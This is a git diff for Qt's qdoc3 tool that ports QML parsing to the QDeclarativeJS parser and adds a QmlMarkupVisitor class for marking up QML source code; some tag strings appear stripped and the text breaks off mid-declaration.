1aa24a1..abb8f1c 100644 --- a/tools/qdoc3/pagegenerator.h +++ b/tools/qdoc3/pagegenerator.h @@ -66,7 +66,7 @@ class PageGenerator : public Generator PageGenerator(); ~PageGenerator(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); protected: virtual QString fileBase(const Node *node) const; @@ -75,7 +75,7 @@ class PageGenerator : public Generator QString outFileName(); void beginSubPage(const Location& location, const QString& fileName); void endSubPage(); - virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker); + virtual void generateInnerNode(const InnerNode *node); QTextStream& out(); QString naturalLanguage; diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 2c91a9c..23ff7bd 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -43,7 +43,9 @@ HEADERS += atom.h \ pagegenerator.h \ plaincodemarker.h \ puredocparser.h \ + qmlcodemarker.h \ qmlcodeparser.h \ + qmlmarkupvisitor.h \ qmlvisitor.h \ quoter.h \ separator.h \ @@ -71,7 +73,9 @@ SOURCES += atom.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ puredocparser.cpp \ + qmlcodemarker.cpp \ qmlcodeparser.cpp \ + qmlmarkupvisitor.cpp \ qmlvisitor.cpp \ quoter.cpp \ separator.cpp \ @@ -80,10 +84,9 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -# Include the QML parsing library from Qt Creator. +INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative -LIBS += -L$$(QTCREATOR_LIBPATH) -lQmlJS -lUtils -INCLUDEPATH += $$(QTCREATOR_INCPATH) +include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) ### Documentation for qdoc3 ### diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp index c6ace7d..329912c 100644 --- a/tools/qdoc3/qmlcodeparser.cpp +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -43,9 +43,9 @@ qmlcodeparser.cpp */ -#include "parser/qmljsast_p.h" -#include "parser/qmljsastvisitor_p.h" -#include "parser/qmljsnodepool_p.h" +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastvisitor_p.h" +#include "private/qdeclarativejsnodepool_p.h" #include "qmlcodeparser.h" #include "node.h" @@ -84,8 +84,8 @@ void QmlCodeParser::initializeParser(const Config &config) { CodeParser::initializeParser(config); - lexer = new QmlJS::Lexer(&engine); - parser = new QmlJS::Parser(&engine); + lexer = new QDeclarativeJS::Lexer(&engine); + parser = new QDeclarativeJS::Parser(&engine); } void QmlCodeParser::terminateParser() @@ -125,12 +125,12 @@ void QmlCodeParser::parseSourceFile(const Location& location, QSet metacommandsAllowed = topicCommandsAllowed + otherMetacommandsAllowed; - QmlJS::NodePool m_nodePool(filePath, &engine); + QDeclarativeJS::NodePool m_nodePool(filePath, &engine); if (parser->parse()) { - QmlJS::AST::UiProgram *ast = parser->ast(); - DocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); - QmlJS::AST::Node::accept(ast, &visitor); + QDeclarativeJS::AST::UiProgram *ast = parser->ast(); + QmlDocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QDeclarativeJS::AST::Node::accept(ast, &visitor); } } diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h index f6d6684..a99e8a3 100644 --- a/tools/qdoc3/qmlcodeparser.h +++ b/tools/qdoc3/qmlcodeparser.h @@ -47,9 +47,9 @@ #define QMLCODEPARSER_H #include -#include "parser/qmljsengine_p.h" -#include "parser/qmljslexer_p.h" -#include "parser/qmljsparser_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsparser_p.h" #include "codeparser.h" #include "location.h" @@ -80,9 +80,9 @@ protected: virtual QSet otherMetaCommands(); private: - QmlJS::Engine engine; - QmlJS::Lexer *lexer; - QmlJS::Parser *parser; + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer *lexer; + QDeclarativeJS::Parser *parser; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp new file mode 100644 index 0000000..72a2334 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -0,0 +1,1415 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" + +#include "qmlmarkupvisitor.h" + +QT_BEGIN_NAMESPACE + +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, bool debug) +{ + this->source = source; + indent = 0; + cursor = 0; + showDebug = debug; +} + +QmlMarkupVisitor::~QmlMarkupVisitor() +{ +} + +QString QmlMarkupVisitor::markedUpCode() +{ + if (cursor < source.length()) + return output + source.mid(cursor); + else + return output; +} + +void QmlMarkupVisitor::addMarkedUpToken( + QDeclarativeJS::AST::SourceLocation &location, const QString &text) +{ + //qDebug() << "t**" << cursor << location.offset; + if (location.offset > cursor) { + QString extra = source.mid(cursor, location.offset - cursor); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += "<<<" + extra + ">>>"; + //qDebug() << "+++" << source.mid(cursor, location.offset - cursor); + cursor += location.offset; + } + + //qDebug() << "-->" << text; + output += text; + cursor += location.length; +} + +QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &location) +{ + return source.mid(location.offset, location.length); +} + +void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last) +{ + quint32 start = first.begin(); + //qDebug() << "v**" << cursor << start; + quint32 finish; + if (last.isValid()) + finish = last.end(); + else + finish = first.end(); + + if (start > cursor) { + QString extra = source.mid(cursor, start - cursor); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += "<<<" + extra + ">>>"; + //qDebug() << "+++" << source.mid(cursor, start - cursor); + cursor = start; + } + + QString text = source.mid(start, finish - start); + //qDebug() << "-->" << text; + write(text); + indent -= 1; + output += text; + cursor += text.length(); +} + +void QmlMarkupVisitor::write(const QString &text) +{ + if (showDebug) + qDebug() << QString().fill(QChar(' '), indent) << text; + indent += 1; +} + +void QmlMarkupVisitor::endWrite(const QString &) +{ + indent -= 1; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) +{ + write(""); + addVerbatim(uiimport->importToken); + if (!uiimport->importUri) + addVerbatim(uiimport->fileNameToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) +{ + endWrite(""); + addVerbatim(uiimport->versionToken); + addVerbatim(uiimport->asToken); + addVerbatim(uiimport->importIdToken); + addVerbatim(uiimport->semicolonToken); + //endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) +{ + write(""); + if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) { + addVerbatim(member->defaultToken); + addVerbatim(member->readonlyToken); + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addVerbatim(member->typeToken); + addVerbatim(member->identifierToken); + addVerbatim(member->colonToken); + QDeclarativeJS::AST::Node::accept(member->binding, this); + } else { + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addVerbatim(member->typeToken); + //addVerbatim(member->identifierToken); + QDeclarativeJS::AST::Node::accept(member->parameters, this); + } + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) +{ + addVerbatim(member->semicolonToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + write(""); + addVerbatim(initializer->lbraceToken, initializer->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + endWrite(""); + addVerbatim(initializer->rbraceToken, initializer->rbraceToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this); + QDeclarativeJS::AST::Node::accept(binding->initializer, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + addVerbatim(binding->lbracketToken); + QDeclarativeJS::AST::Node::accept(binding->members, this); + addVerbatim(binding->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) +{ + write(""); + for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->member, this); + addVerbatim(it->commaToken); + } + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) +{ + write(""); + addVerbatim(id->identifierToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) +{ + write(""); + addVerbatim(signature->lparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) +{ + addVerbatim(signature->rparenToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) +{ + write(""); + addVerbatim(formal->identifierToken); + addVerbatim(formal->asToken); + addVerbatim(formal->aliasToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) +{ + write(""); + addVerbatim(expression->thisToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) +{ + write(""); + addVerbatim(identifier->identifierToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) +{ + write(""); + addVerbatim(null->nullToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) +{ + write(""); + addVerbatim(literal->trueToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) +{ + write(""); + addVerbatim(literal->falseToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) +{ + //write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) +{ + //endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) +{ + //write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) +{ + //endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) +{ + write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) +{ + write(""); + addVerbatim(literal->lbracketToken); + QDeclarativeJS::AST::Node::accept(literal->elements, this); + addVerbatim(literal->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + write(""); + addVerbatim(literal->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + addVerbatim(literal->rbraceToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) +{ + write(""); + for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->expression, this); + addVerbatim(it->commaToken); + } + QDeclarativeJS::AST::Node::accept(list->elision, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) +{ + write(""); + addVerbatim(elision->commaToken, elision->commaToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) +{ + write(""); + QDeclarativeJS::AST::Node::accept(list->name, this); + addVerbatim(list->colonToken, list->colonToken); + QDeclarativeJS::AST::Node::accept(list->value, this); + addVerbatim(list->commaToken, list->commaToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lbracketToken); + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->dotToken); + addVerbatim(expression->identifierToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) +{ + write(""); + addVerbatim(expression->newToken); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) +{ + addVerbatim(expression->rparenToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) +{ + write(""); + addVerbatim(expression->newToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) +{ + write(""); + addVerbatim(list->commaToken, list->commaToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) +{ + write(""); + addVerbatim(expression->incrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) +{ + write(""); + addVerbatim(expression->decrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) +{ + write(""); + addVerbatim(expression->deleteToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) +{ + write(""); + addVerbatim(expression->voidToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) +{ + write(""); + addVerbatim(expression->typeofToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) +{ + write(""); + addVerbatim(expression->incrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) +{ + write(""); + addVerbatim(expression->decrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) +{ + write(""); + addVerbatim(expression->plusToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) +{ + write(""); + addVerbatim(expression->minusToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) +{ + write(""); + addVerbatim(expression->tildeToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) +{ + write(""); + addVerbatim(expression->notToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->left, this); + addVerbatim(expression->operatorToken); + QDeclarativeJS::AST::Node::accept(expression->right, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) +{ + write(""); + addVerbatim(block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) +{ + addVerbatim(block->rbraceToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) +{ + endWrite(""); + addVerbatim(statement->declarationKindToken); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) +{ + write(""); + for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->declaration, this); + addVerbatim(it->commaToken); + } + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) +{ + write(""); + addVerbatim(declaration->identifierToken); + QDeclarativeJS::AST::Node::accept(declaration->expression, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) +{ + write(""); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) +{ + addVerbatim(statement->semicolonToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) +{ + write(""); + addVerbatim(statement->ifToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->ok, this); + //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason + QDeclarativeJS::AST::Node::accept(statement->ko, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) +{ + write(""); + addVerbatim(statement->doToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + addVerbatim(statement->whileToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->varToken); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->varToken); + QDeclarativeJS::AST::Node::accept(statement->declaration, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) +{ + write(""); + addVerbatim(statement->continueToken); + addVerbatim(statement->identifierToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) +{ + write(""); + addVerbatim(statement->breakToken); + addVerbatim(statement->identifierToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) +{ + write(""); + addVerbatim(statement->returnToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) +{ + addVerbatim(statement->semicolonToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) +{ + write(""); + addVerbatim(statement->withToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->rparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) +{ + write(""); + addVerbatim(block->lbraceToken, block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) +{ + endWrite(""); + addVerbatim(block->rbraceToken, block->rbraceToken); +} + + +bool 